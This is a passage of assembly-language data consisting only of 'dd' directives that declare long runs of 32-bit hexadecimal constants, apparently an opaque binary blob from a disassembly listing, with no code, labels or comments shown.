		dd 0BF004871h, 5ECA7E81h, 0C5FEB1h, 0C2E9E81Ch,	2187F792h
		dd 0ABAFCF00h, 4462A551h, 63C900E3h, 0D1913ABFh, 0F80168B4h
		dd 0D8B6EB4Ah, 54D05536h, 0E3E20013h, 6018B34Bh, 0E0004353h
		dd 0C4C73517h, 37D6B42h, 0CEDA7FF0h, 3BB8A7DEh,	870073F5h
		dd 3E1203E4h, 3ADCCDEAh, 0D800C6A9h, 0EBF0B4DEh, 0F8393D19h
		dd 80D63C98h, 241457EFh, 0C27282h, 965B4DF0h, 69F32A11h
		dd 3F0FFBA0h, 8440C160h, 7D21DCF6h, 0D43C00CDh,	0FD5811D1h
		dd 48608166h, 0F350B551h, 833B05A5h, 3E298Eh, 0C6444284h
		dd 1300C96Eh, 0B12A161Ah, 82A217h, 29C30DFBh, 8C93CAFEh
		dd 0DB374906h, 381894h,	0D8347376h, 842498AFh, 0BCAA7D00h
		dd 5E77898Ah, 0D26B00F5h, 7E79B8A0h, 6F00A750h,	3663BCD5h
		dd 0E0D3940h, 0DAD8FE30h, 3E7CEC00h, 0FF00D9D2h, 586B75D7h
		dd 0EB8FBBh, 0C42C1A6Ch, 0FBBF9C31h, 0B7928200h, 0CA9E2B19h
		dd 0B9A40058h, 188F7BE4h, 1C002AF4h, 11F183E6h,	3253F21h
		dd 1FF17C8h, 1800E7B5h,	44D64B86h, 0ECC0DCDh, 43E24EC0h
		dd 0AC98B0E0h, 2E00B550h, 6EAAA408h, 0C55183h, 0F6DCCC52h
		dd 33060BAh, 0FF054890h, 38EFE1CEh, 0C8CCBC00h,	50C4B080h
		dd 0EB8C4Bh, 670FB3C0h,	0A29BCE1Dh, 61A45200h, 2A46E378h
		dd 80B605C8h, 40709950h, 75CC5FCCh, 0FC03E052h,	1DBF88ADh
		dd 3F46C00Bh, 21FF1FEAh, 368FCC80h, 5600C731h, 1BE7C308h
		dd 1704F225h, 5D8286h, 1F191E97h, 2F4E54CFh, 981487ECh
		dd 0FA00E3F7h, 0E71325E2h, 0AE3D245Eh, 0BAA80FBh, 1BA1201Ah
		dd 738001C7h, 0E76393BAh, 3004F9E2h, 0E100523Ah, 0F6FA7688h
		dd 1880C3F9h, 1C23B282h, 90F6299Ah, 0EB47AC07h,	7C92018Ah
		dd 778CA3C6h, 0A46CF8DAh, 0F556005Ah, 5437C3F1h, 0AD020159h
		dd 0B9A1CB6Bh, 580C406Eh, 34410C3Bh, 0FFE63112h, 0BB465900h
		dd 3953B647h, 6C8D28DDh, 0D7D07B0h, 0FCA5C62Dh,	0DE44CD70h
		dd 755A012Fh, 9B8B2409h, 45E824A3h, 277BEA01h, 8285F1D7h
		dd 0DB89E8h, 0DAEBF7C8h, 0B0984624h, 0FEA3C203h, 0C8032E83h
		dd 54A97Ah, 251043CFh, 14170C6h, 193B090Fh, 0BC9E1Dh, 7A80C13Dh
		dd 0E2BD486h, 2C6D45F8h, 9A5D8A43h, 0AADB59C0h,	0AB04611Ch
		dd 0A38075DFh, 8F408289h, 5E0800DAh, 4260FE31h,	2B00D37Bh
		dd 0D90E62FBh, 13071EBh, 0DD69A6C7h, 0FC94223Fh, 0F76086E7h
		dd 0A454B330h, 0C18400ADh, 0AE51445Eh, 3F05D3E8h, 8DAC554Eh
		dd 60B559C2h, 270469h, 0A72E179Ah, 303EC6EEh, 98DF4528h
		dd 6700A5F6h, 0B796498Eh, 0E8812B8Bh, 530C00DCh, 1A107421h
		dd 0A6307C15h, 13657809h, 3059007Ah, 91A0CF19h,	9700923Fh
		dd 648D1A93h, 7F3F6EFh,	67CED50Fh, 0BE8A1021h, 28C096D0h
		dd 2AE729E1h, 9389060Fh, 0BCCF5042h, 61C06A00h,	0A98228B3h
		dd 39BC0394h, 21AA6489h, 0B7C40EF0h, 3A4A233Bh,	0D6007A1Fh
		dd 0F6BC4683h, 0E9631ADh, 0A9F33C77h, 1F9E18A0h, 280064B0h
		dd 0CD5C880Ch, 4915B1D3h, 0B81D10C9h, 8A994031h, 1A26E804h
		dd 7CA6B01h, 2A187747h,	33CD1080h, 0C9051950h, 80BAF039h
		dd 675C8043h, 3700D04h,	753A9F01h, 300EC4FEh, 0E4DB0B3Bh
		dd 0C4C0C37Eh, 7271D4Fh, 0D4FB1E45h, 30E1AED2h,	0E0974377h
		dd 0CA007DB4h, 58F48B1Dh, 909240h, 0F731AAAh, 6DA629D2h
		dd 0ADBF0801h, 0B234BDA5h, 8044AC42h, 0BA50DC9Dh, 0DEC50F9Dh
		dd 0B9C1B3F6h, 0D44D798Ch, 0C2007442h, 3F3E0E4Ch, 2862A2D2h
		dd 6DCD602h, 8CA444FBh,	0C61F1110h, 0B80081Ch, 8FB05942h
		dd 0A7070057h, 0BA9238CEh, 4100AC97h, 0D3CB2904h, 28AF841Fh
		dd 0E8A432h, 8BF5EEDBh,	905CDCCEh, 14E91800h, 0F71906BAh
		dd 201D0029h, 22A4AECCh, 6A038336h, 4CF06EA2h, 40B090A7h
		dd 3E823F44h, 59857F80h, 79BDAF53h, 3B600479h, 2FB87320h
		dd 43A2488Ch, 0B14D6604h, 875490A4h, 0AC123C54h, 0DC5E2FD5h
		dd 47B34F40h, 0CEBE57h,	0F818FF26h, 0FE2D2202h,	9CEC862Eh
		dd 9CE2C600h, 1048191h,	3A62DB6Bh, 20797EE4h, 6D7A7B92h
		dd 0A0210561h, 0D480D963h, 0D32B404Fh, 9A00F7B8h, 7DCFABEFh
		dd 2D48F221h, 0FB80A99Bh, 4E13427Bh, 566DFF05h,	0AC7B7F3h
		dd 0BC14EDB0h, 72DAFABAh, 0E9D700D3h, 0BB48F518h, 2B005991h
		dd 0DB98240Bh, 9559Eh, 4822EA9h, 62B181BAh, 43006DFAh
		dd 54BDE9D2h, 0F89EF23h, 44480435h, 333117A1h, 0F26C24D9h
		dd 87791300h, 643410BEh, 92370291h, 6F57ACB3h, 0D074D460h
		dd 96007373h, 0B8DEDCBEh, 0ECFE320Dh, 0D16A00E9h, 0F2CB48FFh
		dd 39002440h
		dd 0C23C4130h, 128757D8h, 80225FA0h, 8C0DDE54h,	0C3EFAB8h
		dd 8B9918F5h, 0F51D0519h, 728D9180h, 625778E7h,	0AC1C0DE8h
		dd 2F8067D7h, 7D7753C7h, 3DF501DCh, 0E484B627h,	0B45886DEh
		dd 80705FECh, 0EC6D1B24h, 135700D9h, 6ADC498Bh,	10A01404h
		dd 0E7007A75h, 8B8A596Fh, 86ABCCDh, 0CAD440E2h,	5F37D800h
		dd 3C0187FFh, 6E838619h, 9F44E50Ch, 1D92C6C8h, 0D979251Dh
		dd 0F3903280h, 1797D8h,	9DCF3E75h, 0ABB7B8B0h, 121DFC00h
		dd 8ADD1F7Fh, 0D9E3004Ch, 1A8E4691h, 0C114DE80h, 0EEE7A8Dh
		dd 0F9CBDAh, 0D3C273C3h, 0AB5200B0h, 1EDC270Bh,	0AC2ED1A7h
		dd 2E80D8C8h, 0EEB2C61Ch, 3C202671h, 0DC0B0058h, 7EAEB002h
		dd 0B8268407h, 5F40BF0Eh, 0C0FF9A49h, 38716438h, 5E7F883Bh
		dd 0FD0D987Ah, 59D4AC14h, 0F60D5CE8h, 5750360h,	65CECDFEh
		dd 0D88177FAh, 0D4224D69h, 233CE556h, 0B6529F92h, 2597BE40h
		dd 3D6DC342h, 0FCBF55FEh, 18A4D8AAh, 61C005D1h,	35005F63h
		dd 77152BD0h, 1CD4029h,	0FFB07907h, 90D70CD1h, 0E0026629h
		dd 895E05D4h, 4B931448h, 51FF11F5h, 0C011F4F0h,	8AE76911h
		dd 0E37E4ED1h, 0FB228300h, 75A7436Bh, 76460ADCh, 1F74ADCAh
		dd 0D612EAh, 79439498h,	0DF507842h, 400F0958h, 0C0C10175h
		dd 0D6B25D7Fh, 2E0000Fh, 7BBBD0F7h, 0F900245Ah,	6F1CF11Dh
		dd 184ADC74h, 203B94DAh, 68667379h, 21B708h, 5ADA7276h
		dd 16E09BB5h, 690FD001h, 0BA33378Dh, 0E8E1A340h, 0D813E4Dh
		dd 239CC400h, 3EFCAE6Fh, 6078473Ah, 0DD6A5448h,	608E01F5h
		dd 0B0851B08h, 804CD107h, 0DD634621h, 372CB50h,	53DCA64h
		dd 6063B24Bh, 0A046FC89h, 0DE1D248Ah, 38F14011h, 588B9A9Ch
		dd 5BA3F019h, 2180F608h, 6B38F962h, 310397C1h, 299FB2BCh
		dd 0AB5100BAh, 0A47115FEh, 2A796EF1h, 90B02429h, 8F18B4D9h
		dd 0DBCEA500h, 95B97C4Bh, 9A080332h, 14AFFA92h,	0B2FD5800h
		dd 22A84AB4h, 62740CC5h, 1CA81ABCh, 319F8F00h, 0D088E436h
		dd 0B8EC1D20h, 75B90CD1h, 0C2C0AD20h, 38CD525Eh, 8198008Fh
		dd 0F5E422DFh, 5CA01D33h, 0B830CA6Eh, 0DC3910FEh, 0CF691272h
		dd 52D800A4h, 0DEE5C75Eh, 2E62904h, 6580419Ch, 7349E186h
		dd 533C00F7h, 0A7E0927Ch, 72005D58h, 74330A30h,	758CFA2Ah
		dd 28110015h, 321BEEF2h, 5E00CFFDh, 0B31C92B7h,	9C64E6h
		dd 0F673A05Ah, 784A140Dh, 6AA28D0Eh, 8C46607Bh,	11C9D3Eh
		dd 1245969h, 841FD0FFh,	8FAC6F29h, 964084C7h, 0A0D49074h
		dd 0C0063893h, 8FBADE20h, 0F400D8C1h, 0F1C8F50Eh, 8835CE73h
		dd 1119B6FFh, 93500F46h, 0F42DCFF4h, 0B28C0003h, 0D788F4DBh
		dd 89715D48h, 3158BD0Eh, 0AC2F6099h, 6D13F122h,	87E6A8E8h
		dd 7A940F50h, 0C5A883h,	4443A11h, 0CE01F54Bh, 700354F4h
		dd 0AE93597Bh, 0F0D7E006h, 0A66D01DBh, 5FFD88D5h, 5038A772h
		dd 6C430080h, 0B423FECFh, 0A7306973h, 54FB5908h, 79917EEDh
		dd 7EAB01C9h, 0F08F8028h, 714991F8h, 6B127A00h,	961CCC9Eh
		dd 7BEEDD03h, 6F88420h,	5E22A208h, 39C8D886h, 0BEAA8039h
		dd 164E77FBh, 0F252D800h, 0C05C289Fh, 5E3D1801h, 69B440D7h
		dd 5020BE81h, 0A13160ABh, 37FD4C53h, 21ED951Eh,	29A1781h
		dd 6AFCD743h, 88297AC6h, 0AC1DF91Dh, 1183F432h,	0BC0EF0B4h
		dd 0B788A081h, 0F80FD453h, 6853722h, 1314F5BFh,	0ED600997h
		dd 37F9D421h, 7600071h,	4FB2912Eh, 963E3FA8h, 0CCB783D3h
		dd 0A8037BBAh, 14C3DCFh, 0F625D15h, 2452B631h, 1F0DAE00h
		dd 11771287h, 1558F60h,	0F5CBF121h, 99D3F936h, 0B9214508h
		dd 299D55C0h, 0ABC8E9Ch, 0C8C69A0h, 0DCE16C5Fh,	99DDE40Fh
		dd 0B885052Fh, 0B309E403h, 11211860h, 557C5144h, 24898800h
		dd 7DF7AA58h, 7405008Ch, 0EEEDFA64h, 7F4F35Fh, 6DBFB8A0h
		dd 52641448h, 303BE288h, 3E7DA76Ah, 5EF1101h, 0BD67B247h
		dd 843FA842h, 1D6085BCh, 0BF23FE37h, 0CBC43C5Dh, 0B937F800h
		dd 9477ADDFh, 1D4802E7h, 894AD211h, 37212490h, 0FDBFFA11h
		dd 0D780FB88h, 0E09A372Ch, 4FCF0882h, 0C389690h, 502380F1h
		dd 1C048CB2h, 5BFF737h,	0CE22E362h, 0E53F401Bh,	41E600C2h
		dd 230AA6Ch, 0D12A69A7h, 0EF909808h, 318B93Dh, 9728B53Fh
		dd 2880B667h, 466498F8h, 37271C87h, 1C2DBF09h, 0FAD50044h
		dd 54A54237h, 4C06D7A9h, 33ABCC71h, 0EC490021h,	0A60206BFh
		dd 0E1001179h, 9AF6A2AEh, 287F1F2h, 0C47890D8h,	0C4444F29h
		dd 0A37F5D71h, 0B73AC06h, 6008B4C9h, 8525216Eh,	220EA15Eh
		dd 0ED6C56Dh, 75D380A0h, 74B75A58h, 95300327h, 0AA84AD7Ah
		dd 0B33236C8h, 6AB1E404h, 7C8764E2h, 55F7C2D8h,	26D37061h
		dd 1C227Ch, 56558FB8h, 713CFB90h, 7AAE8104h, 44842259h
		dd 6023602Eh, 0A2F27000h, 0CCB1FCAh, 745F5A4Bh,	2400A821h
		dd 8283DB4Eh, 30CB415h,	6940D0F2h, 5585A7AEh, 0EDBD10ACh
		dd 0B2C3F038h, 5EC40303h, 0D0358F63h, 0DBF3880Ah, 2882D081h
		dd 115E8118h, 888CF1AFh, 89098061h, 0ABF7BD5Eh,	0A9F8F316h
		dd 75B81810h, 0D9E31021h, 0E79C1845h, 7C2C63h, 0A360CE97h
		dd 655B627Eh, 2CD18A00h, 6FAFE3C5h, 90460066h, 598EA1CBh
		dd 39C3D2A7h, 4FEC31h, 41095859h, 4CB6F9A1h, 0D2D9F80Bh
		dd 9E6802B4h, 0B1BD2306h, 110A8AC1h, 81BCE431h,	4B955905h
		dd 60D88458h, 0BE5D5E90h, 3D84F123h, 86000844h,	7CA0815Eh
		dd 2ACCEFCh, 0A39955CDh, 7080A758h, 0E47B83FBh,	178A5300h
		dd 9CE574E2h, 5697004Fh, 4CFCE965h, 7EF06FE7h, 0CA490C00h
		dd 373E592Ch, 0D17344E4h, 5001CE30h, 17A9071h, 0D5B7C7DEh
		dd 0F41B3F25h, 847FD6BEh, 0F4CE00Ah, 8511CCEEh,	27558680h
		dd 0F442FBF1h, 558EB7C0h, 0A11A970h, 0B84A48BDh, 1D304932h
		dd 8612AEFAh, 37204C60h, 25BF23F3h, 0CA00E011h,	31BC37FFh
		dd 1A00F691h, 3B247490h, 1C2B73A6h, 4C9AA60h, 8E6F83F7h
		dd 0C0408824h, 5D6FE971h, 1CE09E2Ch, 1B248449h,	4B8FA060h
		dd 0C48C8710h, 0D2803CC8h, 0FCA68FBEh, 3FB300B0h, 3D09366Fh
		dd 6A00A1CDh, 72BF9442h, 28669859h, 99817D71h, 0D0488074h
		dd 0D175B03Ah, 70BF38F8h, 52570054h, 8521C46Ah,	1416ACDDh
		dd 10209D7Bh, 0CF7011B4h, 3F80CA41h, 42A6BC12h,	8207F9FEh
		dd 6CE18726h, 2333B790h, 68145201h, 0A8FA113h, 4668E4E5h
		dd 0D1002104h, 0B68A8FBBh, 1E4EECBCh, 0D164F524h, 82540015h
		dd 1D89F2BBh, 77210979h, 7C17900Dh, 26806E91h, 9360EA11h
		dd 511ADD7Dh, 8621C088h, 0F6710B58h, 0BAE2004Fh, 56FF8D5Bh
		dd 3B013E7Dh, 0B7CEEB0Ah, 29AC09D1h, 396500EBh,	0D5AF7617h
		dd 811DF713h, 0A177F840h, 0E5FA56Ch, 385B8B59h,	0B80973C6h
		dd 5F018E46h, 5CF1AD5Dh, 8B550C72h, 0F65E8790h,	97CD6005h
		dd 5AC502C2h, 9B14C8h, 2026C70Dh, 0B2964534h, 0B823040Eh
		dd 27ED6065h, 91806F5Bh, 19ECD184h, 3976D0h, 8218DA12h
		dd 3F5F5577h, 0CACF79C0h, 0FCD0E3CDh, 4F8F1E17h, 0A3A24029h
		dd 46B53A79h, 658DD900h, 0A0F6B650h, 363200C9h,	305115DDh
		dd 87749947h, 0BCF0DC58h, 0FF028CEFh, 0DA02DD38h, 919860ECh
		dd 3A42880Bh, 0A163B405h, 0EC404D11h, 8F75D6F2h, 4E713F25h
		dd 0D0186B8h, 6131D020h, 2900EB11h, 2667475Dh, 0C180ACh
		dd 0EDB9EF28h, 4EDD5BDFh, 0DCD4B607h, 0E147D7E6h, 0F15C868Fh
		dd 0F4CE3A19h, 0B5891F1Eh
		dd 8F2B8010h, 0E51CC69Bh, 0CDCCB879h, 0C0A20861h, 9B929321h
		dd 5C376C96h, 0D7C250DCh, 0EE20835Ah, 0AFA588D5h, 0F10206DEh
		dd 29DB7EE4h, 0FCBB400h, 0AFB55D90h, 0D15541A2h, 0E2180DFh
		dd 0C1710FD3h, 8EAA0642h, 585BA17Dh, 7B4AC600h,	0DBC11C4h
		dd 0AA1B000Eh, 127CBD8Fh, 2D00269Ah, 70F45232h,	1D89E40Bh
		dd 2FB3B03h, 7C815C08h,	0F8417883h, 865970E7h, 621DD802h
		dd 0D18318Eh, 0E2A6C1h,	0DDF568FBh, 7B46D60Eh, 0DC556F05h
		dd 0A05EDFD0h, 5A61D7C6h, 236B37F1h, 67F58019h,	20D1871Ah
		dd 66F28088h, 1B4AEB0Dh, 31D10545h, 0AE9307B8h,	3F01407Ch
		dd 31032F7h, 2B703704h,	0F40C06CFh, 31D2055Dh, 86E99900h
		dd 9A44CDC6h, 1EED7A2Fh, 402B2176h, 64F0FDE1h, 92E88142h
		dd 36343100h, 5E6BF870h, 74D4A4E2h, 2FF48861h, 6B6ACF0Ah
		dd 0EE40D05Fh, 31DF3F67h, 79C10A61h, 0C13180ACh, 0A854CFEFh
		dd 44C00015h, 1A230C11h, 0A6134C9Bh, 70B02277h,	2AB80046h
		dd 8E5CF9AAh, 41CE687Ah, 0FB3760B1h, 0FFA97Ch, 0D253C3E7h
		dd 7DD77BF2h, 0B3F6301h, 0F7998D22h, 71F023DCh,	0ECCA7428h
		dd 0CF0F0797h, 0C003CB7Dh, 14F54ADh, 0A792D501h, 0D2228477h
		dd 3A8D2EF0h, 638FE4C8h, 5523E016h, 2CD02989h, 89D4507Ah
		dd 0DAB0035Bh, 0B14C7825h, 0B050A1EBh, 243E4DF0h, 406C7D9Bh
		dd 3DCA1EF3h, 65091B0Ch, 0FE50FDh, 0E2D4A61Dh, 0F20F9F36h
		dd 5CC43300h, 10F49901h, 4057456Dh, 2FEDCCACh, 594DCD00h
		dd 686AF5DAh, 0C730C33h, 5329DE74h, 15E08300h, 0FB354982h
		dd 0DBF212FAh, 0A0D827CFh, 2EBE4A9Dh, 1D03B500h, 4278AA82h
		dd 7CAD3F23h, 6FF5D960h, 4EEC076Ah, 88F28700h, 0D73F2736h
		dd 697E0EF4h, 2A0D961h,	91CE2CFh, 9F006D7Fh, 7735F204h
		dd 8720AEh, 662C4B55h, 0DFE2CA64h, 18925472h, 1A13673Ch
		dd 8011E558h, 1ED8C54h,	0D6280FF2h, 0C0E0EBF7h,	368AEF6Ah
		dd 0D38E540Fh, 0EA4B99h, 2FB7DD8Dh, 0D140001Dh,	7CD24875h
		dd 5E0044A1h, 0B6A33B59h, 27ACAEh, 93BCF880h, 0F36895DEh
		dd 0D3315E70h, 3D8A5022h, 6BCC5983h, 5B80E901h,	44009505h
		dd 0C841EE40h, 0FE85D419h, 30ECF265h, 223057AEh, 0AD00CFC4h
		dd 0A903CE9Ah, 6066E173h, 3AEC59E2h, 0B09005EAh, 0D4516400h
		dd 7F7D8CCCh, 2C9010Dh,	0C06BE06Ah, 4BD3D8FEh, 0CA2AF601h
		dd 49A2ECC2h, 80E56183h, 0A17F305Fh, 0BB195C60h, 909955h
		dd 0A651BDC5h, 0CBC4F6E1h, 20912330h, 0B12A4Bh,	0DC2CE882h
		dd 36723B69h, 99548B07h, 0F831EC98h, 80D8B515h,	30065153h
		dd 7ED22000h, 9EC900AEh, 0EE67E570h, 0F6005DEAh, 0E4C1C76Ch
		dd 5975918h, 0B8D36FF1h, 8A6C80E1h, 9204CB56h, 80014DF7h
		dd 2C0C4984h, 0A2B95Bh,	9BBDC21Fh, 3E0E4D8Ch, 40F2F100h
		dd 483B515Eh, 0ED111FC1h, 775FFB4h, 0C589138Ah,	8B9C2131h
		dd 251802Ah, 0E70A9A01h, 5332008Fh, 52F7BFB4h, 7C0564E8h
		dd 88BC49AFh, 8D16F040h, 7FE5CCEFh, 0EAB10927h,	4F468h
		dd 0C0154FE7h, 0A658AC39h, 0D0E000DBh, 0FFE65B5h, 8160BC41h
		dd 6D7A3049h, 589600B2h, 0DA339B6h, 0E300D075h,	8ACF67C0h
		dd 0C741B1ECh, 300E36E9h, 59EB1B44h, 0C78F65Ch,	2155CB13h
		dd 94EA075Fh, 60C70261h, 3D8183A3h, 112C4104h, 75800124h
		dd 16D9E25Dh, 7F2C653h,	0EACBBC21h, 67E180D0h, 0E5575572h
		dd 62006679h, 8DFB757Ah, 33A096C5h, 5AB984B1h, 80288CD1h
		dd 1B0930BEh, 2AEDAA04h, 7E807680h, 1E74A8D3h, 5C40048h
		dd 0B7DAD2C3h, 520017CDh, 684A3DFDh, 515622Bh, 0D5BE63A3h
		dd 6CA5C1B5h, 0CB49923Ch, 7D6D8C20h, 0C7B60026h, 7ABF5FC9h
		dd 2C0036A5h, 1D890F7Fh, 30BBE9CEh, 0B43152CBh,	4A016D0Bh
		dd 6F7A4901h, 0F823A382h, 0C038F51Eh, 5702F11Ch, 87000EA0h
		dd 0D44806B1h, 3A2C459Eh, 0C5034CD3h, 2B8BB5DDh, 73E53916h
		dd 0F0770709h, 0DA3F2455h, 0E2440E38h, 308B8Ah,	902DAAFBh
		dd 0E500B1B9h, 52A575ACh, 0AEE7C0Eh, 1AAFECF9h,	82BB8ABCh
		dd 0AEFD8094h, 8E3846E3h, 15F24D2Ch, 72173900h,	6334371h
		dd 0BC422304h, 110931BFh, 80F02681h, 1C6BF326h,	83E500E6h
		dd 0F75160A5h, 4D01F486h, 311BEE8Ch, 39BC8BD5h,	84E4150Fh
		dd 5E7CF280h, 5C99FA03h, 6B3B3E11h, 96438903h, 26B85BE6h
		dd 2E002137h, 0C9A95EA3h, 49CE0F80h, 2A05B4B2h,	9B4D431h
		dd 80908B64h, 0F40014B6h, 51AC9EC4h, 17859DF1h,	0EB18AB49h
		dd 8FB59D00h, 307BBC6Ah, 294186B1h, 39F2EB12h, 1794E500h
		dd 0E74230FCh, 1490F0h,	43D82861h, 0DA6480ECh, 12043409h
		dd 82D0837Dh, 2E11C040h, 87C200C7h, 0F809B483h,	6C7FA2F3h
		dd 0EF430F01h, 33F968EBh, 4762E02Fh, 0CB249B7Ch, 98801C51h
		dd 4CAC08EEh, 3407029Ch, 0CA44A5C2h, 821E2C44h,	6F00FBDAh
		dd 24D00186h, 2A9522CBh, 0FEAE0901h, 12B96792h,	4CBA7BFCh
		dd 62048C3Ah, 47338B99h, 4190CE55h, 4CE364h, 0D9D514CCh
		dd 7DA757A5h, 0C6FAED00h, 96A3B9DAh, 78DD0042h,	0CC355445h
		dd 0EC24B371h, 0BC42DCADh, 9A9CA08Dh, 4D47900Bh, 0EB80F873h
		dd 0E143C0FCh, 0C3529A00h, 2E34C5F4h, 18500E36h, 1D812913h
		dd 0FE1F07DCh, 0EA718040h, 0EEE2D601h, 80BCD965h, 0BDB66180h
		dd 26BFB288h, 440012DCh, 0D94CF28h, 80C1162Bh, 62C2C6Bh
		dd 324AEB00h, 0F765CD91h, 4868E4ECh, 83041CF1h,	45BEBCDFh
		dd 58047EBh, 0FF9CCC9h,	876BA26Eh, 43024500h, 0D900C063h
		dd 52F3ABB4h, 1F944D8h,	66D31424h, 0D4C362D4h, 5A0099DFh
		dd 0ED86200Eh, 61CBD16Eh, 548D8956h, 0CC67C5E0h, 6101E1ECh
		dd 293A3D0Eh, 0F8A0AB19h, 828039C6h, 0BFD90975h, 8C20DF69h
		dd 0C5C4C8A2h, 9E7E1A7Eh, 6BE08690h, 50A3EC26h,	6898D140h
		dd 0D5D1BDAh, 681239D0h, 5C00F15Ah, 31E40F64h, 0F18C60CAh
		dd 33C468E8h, 2F508015h, 0EEE1029Ch, 0EC48C826h, 2D5A0528h
		dd 0C0EBA4E8h, 0DC524E48h, 0BEA1F803h, 1D85BC10h, 3D68029h
		dd 0C9F4C203h, 2F94F6E0h, 95CDE313h, 3D414C27h,	23E856AAh
		dd 83DF051Eh, 8C609F5Eh, 0D6E434A8h, 0CB31707h,	0F3B06DEEh
		dd 4CD59A15h, 0ECC084A2h, 2FE9FEBAh, 0BE06D603h, 87BC5Fh
		dd 0A03FD89h, 1C973D49h, 8BB06EF3h, 0B584A0EEh,	61807795h
		dd 0D8314928h, 0EF398191h, 0C84765Ah, 1C742E8h,	34FD6BD5h
		dd 22CBA2F1h, 5BB00028h, 4B9C1A63h, 0E2720A25h,	8394EE66h
		dd 1D6C41Bh, 0F9DBC5B8h, 80074A98h, 814327FAh, 0D1D35C53h
		dd 5830579Bh, 64E98B8Ch, 979140DDh, 0D345F84h, 0DC0351F6h
		dd 4078F76Ch, 0F48170A8h, 48C1C12Eh, 64B96BCFh,	4F04851Ch
		dd 7D5972C9h, 4520D8C0h, 198644BCh, 0D9821F00h,	94A0DA4Bh
		dd 0CA1218CFh, 1959D960h, 0F7D1ED00h, 54C6DDC7h, 4A480340h
		dd 0DA5C16FEh, 8EB744C0h, 0B92FC801h, 0EC690D9Ch, 93AFA980h
		dd 6126B690h, 3C708C00h, 9E7D178Fh, 0EB1501C0h,	4F98C452h
		dd 910460BDh, 63678188h, 19CAC905h, 2DDC1900h, 704811D0h
		dd 0D9960074h, 5B0AC17h, 0D400913Ch, 792BDA4Ah,	0C5F7E2h
		dd 6861DF42h, 8AF033D2h, 0B9513467h, 5CDB3CF0h,	0C6AC04CBh
		dd 82FBFFAEh, 0E2204998h, 0C1236780h, 65DDB31h,	42E449D2h
		dd 0F208B94h, 24246B2Bh, 17809D27h, 0E1B00041h,	72F55B1Dh
		dd 31C4970Ah, 3A8118D6h, 0B8F09CA6h, 28A1891h, 1DED52E8h
		dd 704440BFh, 0FF380511h
		dd 885F808Ch, 5D67CB7Ch, 0B9E069A1h, 0E6319A8h,	242160F5h
		dd 8B0AB6A0h, 0F1049A4Bh, 8D728FAAh, 8BC518C3h,	83580B94h
		dd 60908B95h, 90E47D89h, 2F013A90h, 69232AC9h, 69604637h
		dd 0FC802CA8h, 95E18448h, 0E4A0C98Ah, 5775210Bh, 6C63D100h
		dd 7FF3BB45h, 28EDB826h, 0BA58385Fh, 9E010FB0h,	1E6035B3h
		dd 4D3471F0h, 6E1B7A03h, 883A9CB0h, 13ED5DE8h, 259EB0Fh
		dd 26101126h, 0AB3404C0h, 5406C207h, 5AD1ED84h,	9880E4B7h
		dd 0BC99D9F2h, 692A2942h, 0C91FD0EAh, 180EAAF7h, 0FCEF024Ch
		dd 586C45h, 0EE3D9DF2h,	8065B51Ah, 80985249h, 0CD31989Ah
		dd 7B5B0044h, 0E09C5F15h, 1300C1FEh, 9E63D479h,	17552Ch
		dd 0E93B514h, 6BB13783h, 889F4D32h, 133F20E2h, 0A3FCC68Ch
		dd 0F1E028E6h, 4E8BFE00h, 3CBF9FABh, 0D099CAh, 667AEE32h
		dd 0BB004B8Fh, 4B227E4h, 4A815230h, 0EC5C2250h,	70C59841h
		dd 0DB00262Dh, 0EE53F1E6h, 737111A8h, 555613F9h, 0E83C0843h
		dd 0AB9A9E83h, 2F2BB815h, 6FE52E59h, 0A75C015Ch, 70F3408Ch
		dd 0E88BBE70h, 7E8788Eh, 0B2A14BE5h, 89DD80AAh,	0F300A857h
		dd 0A36F932Dh, 16565294h, 70F56B88h, 0C4537934h, 0F4D0F650h
		dd 23042917h, 82EE300Fh, 0E00E45DDh, 8888BBC8h,	0AB03DC4Bh
		dd 1708F725h, 0E8E0002Dh, 7BA29745h, 0F30299D2h, 0CD2535E4h
		dd 3A5C6019h, 3E93F843h, 0FB80EC53h, 9521F352h,	0EE13A6C9h
		dd 0E0206880h, 130F84A3h, 8C334AB3h, 5B44CB2Ch,	44BE014Fh
		dd 0D1C1A103h, 5DEAD06Bh, 2489B06Fh, 9C8034A8h,	0A8F56664h
		dd 0BCFDCA8h, 5ED0555Dh, 4B269980h, 0EC2698D2h,	364020A9h
		dd 0ED311104h, 0F804A866h, 0D15563C9h, 40AAEC14h, 12515D18h
		dd 69F49D1Ch, 0FB4169B0h, 0EDF00489h, 0C09670ECh, 0C419C2E4h
		dd 0AB403C96h, 0CF1A6Dh, 7C0C32Bh, 75774BDEh, 0D4C09FFBh
		dd 328A4506h, 0BF1A00F9h, 0B1B0E930h, 8970DB82h, 0ABCAB303h
		dd 84E03Bh, 0B95C9F98h,	31E10DFBh, 360D752h, 0CB7FC9F5h
		dd 0B86D9148h, 91058D5h, 1FEE6FC6h, 33F9D501h, 0D62A1B71h
		dd 403A8442h, 191598A8h, 0F8E394E0h, 9F201753h,	5CED5F6Fh
		dd 641D48E4h, 91B013F1h, 0F1EE881Ch, 272432B1h,	0B7389034h
		dd 0A2800078h, 0CBDD0D3Bh, 3101F586h, 0E9716FC0h, 0D0800256h
		dd 67A3F296h, 0B002EF3h, 0CE5BE858h, 586B80E5h,	0DE84F435h
		dd 4755408Ah, 0B0D93248h, 3D660AB0h, 348CAEDh, 13891146h
		dd 0B5E295D8h, 0A89CC0B0h, 0F9AD404Eh, 1FA1B6B0h, 43B19F52h
		dd 239959B8h, 0F5B43FD8h, 1C2AF39h, 387F4ED4h, 2E60E2F2h
		dd 0ACFB2EEFh, 8F6B6074h, 0A5005852h, 211A6917h, 60ADECF4h
		dd 0B2C22150h, 24C069Ch, 0B87C0140h, 5ECB16A3h,	0FFE42180h
		dd 1A63D40h, 9EAEFB09h,	6C32835Ah, 6FD80E3Fh, 0B481789Dh
		dd 2CD3A9DCh, 0E4C40458h, 94898BF1h, 7070D1CDh,	0E11E0FBBh
		dd 2160CAC8h, 0F6F408D7h, 347BA102h, 7AB4ECF7h,	46CD2404h
		dd 0A2C10E4h, 9070E6DDh, 6AB4A161h, 0FF68B30h, 7D81B1F2h
		dd 152D04Fh, 0FB675C51h, 0E402D15Fh, 0E500A041h, 4E0AC4ABh
		dd 94D30D5Eh, 6096465Ch, 2470CD18h, 743C97D0h, 93BB19E9h
		dd 72662839h, 0AAF50294h, 593C537Dh, 1D440094h,	95F01C94h
		dd 472BFB02h, 272F8B86h, 0D7DF409Bh, 0F301EB13h, 4FC942B8h
		dd 47EC43E7h, 43AE4BECh, 0D1095DC8h, 80646925h,	85A221F4h
